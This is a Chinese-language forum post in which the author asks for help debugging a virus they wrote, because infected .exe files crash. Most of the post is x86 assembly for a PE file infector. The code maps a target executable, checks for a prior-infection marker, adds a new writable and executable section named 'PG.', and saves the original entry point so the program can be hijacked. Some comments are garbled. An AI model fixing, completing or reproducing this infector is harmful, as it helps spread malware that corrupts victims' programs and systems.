究竟是我感染病毒的那部分代码有问题呢?、请高手指点、万分感谢
运行被感染的exe文件后,老提示错误如下:
|======================================================================|
|xxx.exe 遇到问题需要关闭。我门对此引起的不便表示抱歉 |
|----------------------------------------------------------------------|
|如果您正处于进程当中,信息有可能丢失。 |
| |
| |
|请将此问题报告给 Microsoft。 |
|我们已经创建了一个错误报告,您可以将它发送给我们。我们将 |
|此报告视为保密的和匿名的。 |
| |
|要查看这个错误报告包涵的数据, 请单击此处 |
| |
| -------------------- ------- |
| | 发送错误报告 (s) | |不发送 | |
| -------------------- ------- |
=======================================================================
病毒操作文件得部分代码如下
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;createmapping
push 0
push 0
push 0
push PAGE_READWRITE
push 0
mov eax,hFile[ebp]
push eax
call CreateFileMapping_addr[ebp]
cmp eax,0
jz createMapfail
mov hMap[ebp],eax
;;;;;;;;;;;;;;Mapviewoffile
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
mov eax,hMap[ebp]
push eax
call MapViewOfFile_addr[ebp]
cmp eax,0
jz Mappingfail
mov pMem[ebp],eax
;;;;;;;;;;;;;;;ok,go on
mov edi, eax;<---------------weishenme yong edi?
assume edi:ptr IMAGE_DOS_HEADER
cmp [edi].e_magic,IMAGE_DOS_SIGNATURE
jnz Notinfect
add edi, [edi].e_lfanew
assume edi:ptr IMAGE_NT_HEADERS
cmp [edi].Signature,IMAGE_NT_SIGNATURE;
jnz Notinfect
;MOVZX
movzx eax,[edi].FileHeader.NumberOfSections;
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER;
mul ecx ;
push edi ;
pop esi ;
assume esi:ptr IMAGE_NT_HEADERS;;
add edi,sizeof IMAGE_NT_HEADERS;
add edi,eax
assume edi:ptr IMAGE_SECTION_HEADER
cmp [edi].NumberOfRelocations,02103h;
jz Notinfect;
add edi,sizeof IMAGE_SECTION_HEADER;;
movzx ebx,[esi].FileHeader.NumberOfSections
inc ebx
mov eax,sizeof IMAGE_SECTION_HEADER
mul ebx;
mov ebx,pMem[ebp];
assume ebx:ptr IMAGE_DOS_HEADER
mov ecx,[ebx].e_lfanew ;
add ecx,sizeof IMAGE_NT_HEADERS ;
add ecx,eax;;
cmp ecx,[esi].OptionalHeader.SizeOfHeaders;
jge Notinfect
mov eax, [esi].OptionalHeader.AddressOfEntryPoint ;
mov Old_AddressOfEntryPoint[ebp], eax
mov eax, [esi].OptionalHeader.ImageBase
mov Old_ImageBase[ebp], eax;
mov dwMySectionOffSet[ebp], edi;
push esi
mov esi,edi
sub esi,sizeof IMAGE_SECTION_HEADER;
pop ebx ;
assume esi:ptr IMAGE_SECTION_HEADER;last
assume edi:ptr IMAGE_SECTION_HEADER;new
assume ebx:ptr IMAGE_NT_HEADERS;nthead
;---------------------begin prepare the newsectioon;;;;;;;;;;;;;;;;;;
mov dword ptr [edi].Name1, "PG.";
mov [edi].Misc.VirtualSize, offset vend - offset vstart ;
;;;;sizeofrawdata/vitrualaddress/pointertorawdata
push [ebx].OptionalHeader.SizeOfImage ;
pop [edi].VirtualAddress;;;;;;
mov eax,[edi].Misc.VirtualSize
mov [edi].SizeOfRawData,eax
mov eax,[esi].SizeOfRawData
add eax,[esi].PointerToRawData
mov [edi].PointerToRawData,eax
mov [edi].PointerToRelocations, 0
mov [edi].PointerToLinenumbers, 0 ;
mov dword ptr [edi].NumberOfRelocations, 02103h ;;
mov dword ptr [edi].NumberOfLinenumbers,0h
;code/data/execute/read/write/inited data/un-inited data??
mov [edi].Characteristics, 0E00000e0h;read,write........Characteristics?﨑晳?????????簑?????????
;**************************************************
;change SizeOfImage &AddressOfEntryPoint
;**************************************************
inc [ebx].FileHeader.NumberOfSections ;;